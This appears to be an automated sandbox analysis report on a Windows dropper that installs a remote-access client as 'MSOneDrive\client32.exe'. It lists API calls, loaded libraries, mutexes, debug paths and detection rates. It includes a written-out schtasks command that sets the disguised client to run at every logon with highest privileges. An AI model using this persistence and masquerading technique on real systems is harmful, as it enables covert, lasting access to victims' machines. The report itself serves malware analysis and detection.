Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1105D550	13_2_1105D550
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11117290	13_2_11117290
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1101B5A0	13_2_1101B5A0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1114D430	13_2_1114D430
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11031430	13_2_11031430
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11043450	13_2_11043450
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11151CA0	13_2_11151CA0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11029FB0	13_2_11029FB0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11155E65	13_2_11155E65
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1106DED0	13_2_1106DED0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_110280F0	13_2_110280F0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1101A340	13_2_1101A340
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11082530	13_2_11082530
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1101A780	13_2_1101A780
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11008920	13_2_11008920
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1115C9AB	13_2_1115C9AB
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1104CBF0	13_2_1104CBF0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1107ADC0	13_2_1107ADC0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1106AC40	13_2_1106AC40

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: String function: 00C87AE0 appears 33 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 1107C4F0 appears 84 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 111524F0 appears 66 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 111356E0 appears 1159 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 11135EC0 appears 44 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 11027FB0 appears 2033 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 110596B0 appears 52 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 1114EE63 appears 91 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 1115D9F0 appears 74 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 11026600 appears 92 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 6C8030A0 appears 39 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 6C8162C0 appears 68 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 11059580 appears 572 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 110AE510 appears 37 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 11095C10 appears 32 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 6C805910 appears 60 times
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: String function: 11161E0D appears 40 times

Source: wfapigp.dll.3.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: icmp.dll.3.dr	Static PE information: No import functions for PE file found
Source: winrsmgr.dll.3.dr	Static PE information: No import functions for PE file found
Source: msvcr100_clr0400.dll.3.dr	Static PE information: No import functions for PE file found

Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameschtas$ vs SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameicmp.dllj% vs SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedxmasf.dllj% vs SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewcodstub.dllj% vs SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameicmp.dllj% vs SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedxmasf.dllj% vs SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewcodstub.dllj% vs SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal80.rans.evad.winEXE@7/34@10/3

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_110ED2B0 GetModuleFileNameA,LoadLibraryExA,LoadLibraryExA,GetSystemDirectoryA,LoadLibraryExA,GetLastError,FormatMessageA,LocalFree,_memmove,

11_2_110ED2B0

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11095790 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	11_2_11095790
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11095820 AdjustTokenPrivileges,CloseHandle,	11_2_11095820
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11095790 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	13_2_11095790
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11095820 AdjustTokenPrivileges,CloseHandle,	13_2_11095820

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_1108F8C0 CoInitialize,CLSIDFromProgID,CoCreateInstance,CoUninitialize,

11_2_1108F8C0

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_110C3930 IsWindow,IsWindowVisible,SetForegroundWindow,FindResourceExA,LoadResource,LockResource,DialogBoxIndirectParamA,DialogBoxParamA,

11_2_110C3930

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_11119810 GetMessageA,Sleep,OpenSCManagerA,DispatchMessageA,OpenServiceA,CloseServiceHandle,StartServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,GetLastError,

11_2_11119810

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\sdn1[1].zip

Jump to behavior

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7392:120:WilError_03
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Mutant created: \Sessions\1\BaseNamedObjects\gh435hg34f34c3b35n45m5ujf1123s

Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	ReversingLabs: Detection: 68%
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Virustotal: Detection: 54%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "MSOneDrive" /tr "C:\Users\user\AppData\Local/MSOneDrive\client32.exe" /RL HIGHEST
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Process created: C:\Users\user\AppData\Local\MSOneDrive\client32.exe C:\Users\user\AppData\Local/MSOneDrive\client32.exe
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\MSOneDrive\client32.exe C:\Users\user\AppData\Local/MSOneDrive\client32.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "MSOneDrive" /tr "C:\Users\user\AppData\Local/MSOneDrive\client32.exe" /RL HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Process created: C:\Users\user\AppData\Local\MSOneDrive\client32.exe C:\Users\user\AppData\Local/MSOneDrive\client32.exe	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

File opened: C:\Users\user\AppData\Local\MSOneDrive\MSVCR100.dll

Jump to behavior

Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: ir41_qcx.pdb source: ir41_qcx.dll.3.dr
Source:	Binary string: uimanagerbrokerps.pdb source: UIManagerBrokerps.dll.3.dr
Source:	Binary string: E:\nsmsrc\nsm\1280\1280\ctl32\release_unicode\pcichek.pdb source: client32.exe, 0000000B.00000002.3755622548.000000006CB72000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 0000000D.00000002.1392811349.000000006CB72000.00000002.00000001.01000000.00000009.sdmp, PCICHEK.DLL.3.dr
Source:	Binary string: ir50_32.pdb source: ir50_32.dll.3.dr
Source:	Binary string: E:\nsmsrc\nsm\1201\1201F2\client32\Release\PCICL32.pdb source: client32.exe, 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr
Source:	Binary string: stub.pdbGCTL source: dpnhupnp.dll.3.dr, dpnathlp.dll.3.dr, dpnlobby.dll.3.dr
Source:	Binary string: icmp.pdbGCTL source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, icmp.dll.3.dr
Source:	Binary string: smalldll.pdbGCTL source: dxmasf.dll.3.dr
Source:	Binary string: E:\nsmsrc\nsm\1280\1280f12\AudioCapture\Release\AudioCapture.pdb source: AudioCapture.dll.3.dr
Source:	Binary string: icmp.pdb source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, icmp.dll.3.dr
Source:	Binary string: winrssrv.pdbGCTL source: winrssrv.dll.3.dr
Source:	Binary string: wiatrace.pdb source: wiatrace.dll.3.dr
Source:	Binary string: E:\nsmsrc\nsm\1280\1280\ctl32\release_unicode\pcicapi.pdb source: client32.exe, 0000000B.00000002.3755499542.000000006CB45000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 0000000D.00000002.1392710495.000000006CB45000.00000002.00000001.01000000.0000000A.sdmp, pcicapi.dll.3.dr
Source:	Binary string: E:\DNA\DNABuilds\DNA450\DNA450F3i1\client32\release_unicode_2015\dnarc.pdb source: client32.exe, 0000000B.00000000.1369497547.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, client32.exe, 0000000B.00000002.3742058275.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, client32.exe, 0000000D.00000000.1388077049.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, client32.exe, 0000000D.00000002.1390661255.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, client32.exe.3.dr
Source:	Binary string: smalldll.pdb source: dxmasf.dll.3.dr
Source:	Binary string: E:\nsmsrc\NSN\300\CVA_300F1\Ctl32\release\htctl32.pdb source: client32.exe, 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmp, HTCTL32.DLL.3.dr
